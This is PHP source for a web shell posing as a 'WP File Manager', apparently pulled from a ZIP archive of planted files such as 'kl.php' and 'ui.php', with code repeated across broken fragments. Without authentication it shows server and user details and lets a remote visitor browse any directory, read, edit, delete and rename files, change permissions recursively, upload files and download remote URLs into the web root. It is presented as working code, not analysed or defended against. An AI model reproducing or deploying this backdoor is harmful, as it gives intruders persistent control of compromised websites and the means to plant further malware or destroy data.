'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]qÜd©Ë©Ëweb@dumoshi.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]CO¹ò®Ë®Ëweb@dumoshi.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
